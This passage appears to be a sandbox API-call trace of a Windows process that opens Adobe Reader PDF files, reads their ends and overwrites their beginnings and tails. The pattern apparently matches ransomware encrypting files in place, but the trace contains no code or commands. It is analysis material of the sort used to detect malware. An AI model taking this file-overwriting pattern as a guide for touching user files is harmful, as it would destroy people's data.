lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6322c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0038.744] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.746] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4be8 [0038.746] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.746] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x4be8 [0038.746] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.747] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0038.747] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.747] CloseHandle (hObject=0x198) returned 1 [0038.747] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.747] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.747] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x11c35 [0038.747] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.747] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.747] ReleaseMutex (hMutex=0x128) returned 1 [0038.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.748] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0038.748] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.750] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x10c35 [0038.750] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.750] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x10c35 [0038.750] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.750] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0038.750] WriteFile (in: hFile=0x198, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.751] CloseHandle (hObject=0x198) returned 1 [0038.751] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.751] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.751] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2eb9e [0038.751] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.751] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.751] ReleaseMutex (hMutex=0x128) returned 1 [0038.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0038.752] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.754] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2db9e [0038.754] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.754] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2db9e [0038.755] WriteFile (in: hFile=0x198, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.755] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0038.755] WriteFile (in: hFile=0x198, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.755] CloseHandle (hObject=0x198) returned 1 [0038.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cze\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.756] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.756] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x7d00 [0038.756] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.756] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.756] ReleaseMutex (hMutex=0x128) returned 1 [0038.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0038.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0038.756] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.758] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6d00 [0038.758] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.758] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x6d00 [0038.758] WriteFile (in: hFile=0x198, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.758] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0038.758] WriteFile (in: hFile=0x198, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.759] CloseHandle (hObject=0x198) returned 1 [0038.759] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.759] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.759] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xa36f [0038.759] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.759] ReleaseMutex (hMutex=0x128) returned 1 [0038.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0038.759] ReadFile (in: hFile=0x198, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.761] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x936f [0038.761] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.762] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x936f [0038.762] WriteFile (in: hFile=0x198, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.762] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0038.762] WriteFile (in: hFile=0x198, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.762] CloseHandle (hObject=0x198) returned 1 [0038.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0038.762] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.762] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xc084 [0038.762] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0038.763] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.763] ReleaseMutex (hMutex=0x128) returned 1 [0038.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e6306c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0038.763] ReadFile (in: hFile=0x198, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.134] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xb084 [0039.134] ReadFile (in: hFile=0x198, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.134] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xb084 [0039.134] WriteFile (in: hFile=0x198, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.135] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.135] WriteFile (in: hFile=0x198, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.135] CloseHandle (hObject=0x198) returned 1 [0039.135] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.135] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.135] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xb6cc [0039.135] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.135] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.135] ReleaseMutex (hMutex=0x128) returned 1 [0039.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.135] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0039.135] ReadFile (in: hFile=0x198, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.153] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xa6cc [0039.153] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.154] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0xa6cc [0039.154] WriteFile (in: hFile=0x198, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.154] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.154] WriteFile (in: hFile=0x198, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.155] CloseHandle (hObject=0x198) returned 1 [0039.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.155] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.155] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x8ff9 [0039.155] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0039.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.155] ReleaseMutex (hMutex=0x128) returned 1 [0039.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0039.156] ReadFile (in: hFile=0x198, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.189] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x7ff9 [0039.189] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.207] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x7ff9 [0039.207] WriteFile (in: hFile=0x198, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.208] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0039.208] WriteFile (in: hFile=0x198, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.208] CloseHandle (hObject=0x198) returned 1 